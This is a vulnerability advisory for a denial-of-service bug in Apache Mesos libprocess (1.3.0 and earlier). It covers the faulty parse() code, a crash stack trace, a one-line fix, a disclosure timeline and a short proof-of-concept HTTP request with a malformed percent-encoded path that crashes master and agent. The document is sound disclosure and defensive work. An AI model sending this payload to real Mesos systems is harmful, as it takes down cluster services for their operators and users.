Severity: High (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RC:C)

Vendor: Apache Software Foundation

Versions Affected: Apache Mesos <= 1.3.0

Description

A vulnerability in the libprocess dependency of Mesos allows a remote attacker to cause a crash in any Mesos component that includes the library. The bug resides in the libprocess message parsing functionality and causes the application to call abort() ungracefully when handling malformed libprocess messages.

The vulnerability affects the latest release (1.3.0) of Mesos as well as most versions before. Importantly, it affects the Master and Agent services that are exposed over the network. A malicious actor can easily deny allocation of resources to applications with a single HTTP request to each component.

The bug is found in parse() at libprocess/src/process.cpp when attempting to decode URL encoded paths. Particularly, the condition is triggered when trying to handle the error created when decoding a malformed path.

 795   // Decode possible percent-encoded 'to'.
 796   Try<string> decode = http::decode(request.url.path.substr(1, index));
 797
 798   if (decode.isError()) {
 799     return Failure("Failed to decode URL path: " + decode.get());
 800   }

If the Try object returned from decode() is of the error type, it tries to return a Failure object instantiated with a string concatenated with the results of the get() call found in ./3rdparty/stout/include/stout/try.hpp.

 73   const T& get() const
 74   {
 75     if (!data.isSome()) {
 76       assert(error_.isSome());
 77       ABORT("Try::get() but state == ERROR: " + error_.get().message);
 78     }
 79     return data.get();
 80   }
 81
 82   T& get()
 83   {
 84     return const_cast<T&>(static_cast<const Try&>(*this).get());
 85   }

Since the Try object can only represent one of two states: a value or an error containing the error string, calling get() attempts to retrieve a value that is not present resulting in the stout library aborting the program without handling the exception. This stems from improper use of the stout API.

A partial stack trace at the time of the crash is as follows:

ABORT: (../../3rdparty/stout/include/stout/try.hpp:77): Try::get() but state == ERROR: Malformed % escape in 'mast%r': '%r'

Thread 10 "mesos-master" received signal SIGABRT, Aborted.
[Switching to Thread 0x7fffe4b16700 (LWP 19349)]
0x00007fffef3db428 in __GI_raise (sig=[email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007fffef3db428 in __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007fffef3dd02a in __GI_abort () at abort.c:89
#2  0x00005555555d6d7b in _Abort () at ../../3rdparty/stout/include/stout/abort.hpp:74
#3  0x00005555555d6da9 in _Abort () at ../../3rdparty/stout/include/stout/abort.hpp:80
#4  0x00005555555e3bf9 in Try<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, Error>::get () at ../../3rdparty/stout/include/stout/try.hpp:77
#5  0x00005555555e57ce in Try<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, Error>::get () at ../../3rdparty/stout/include/stout/try.hpp:84
#6  0x00007ffff6629577 in parse () at ../../../3rdparty/libprocess/src/process.cpp:799
#7  0x00007ffff663647e in process::ProcessManager::handle () at ../../../3rdparty/libprocess/src/process.cpp:2838
#8  0x00007ffff662a3d7 in process::internal::decode_recv () at ../../../3rdparty/libprocess/src/process.cpp:881

Mitigation

The fix for this error is simple. Simply replace the errorenous get() call with error().

--- /work/mesos-1.3.0/3rdparty/libprocess/src/process.cpp    2017-06-15 22:21:42.413271006 +0000
+++ ../3rdparty/libprocess/src/process.cpp    2017-06-15 21:45:40.993271006 +0000
@@ -796,7 +796,7 @@
   Try<string> decode = http::decode(request.url.path.substr(1, index));

   if (decode.isError()) {
-    return Failure("Failed to decode URL path: " + decode.get());
+    return Failure("Failed to decode URL path: " + decode.error());
   }

   const UPID to(decode.get(), __address__);

Proof of Concept

Sending the following HTTP request causes Mesos master and agent to crash.

POST /mast%r/api/v1
Host: 127.0.0.1:5050
User-Agent: libprocess/test
Content-type: application/json

{"type":"GET_VERSION"}'

Credit

This issue was discovered by Lyon Yang (@l0Op3r) and Jeremy Heng (@nn_amon).

Timeline

  • 12 June 2017 - Discovery of the vulnerability.
  • 16 June 2017 - Reporting of the vulnerability to [email protected]
  • 17 June 2017 - Git commit fixes the vulnerability upstream.
  • 21 June 2017 - Acknowledgement of the vulnerability by the vendor.
  • 22 June 2017 - CVE number assigned.
  • 26 Sept 2017 - oss-security mailing list email sent by vendor.

Leave a Comment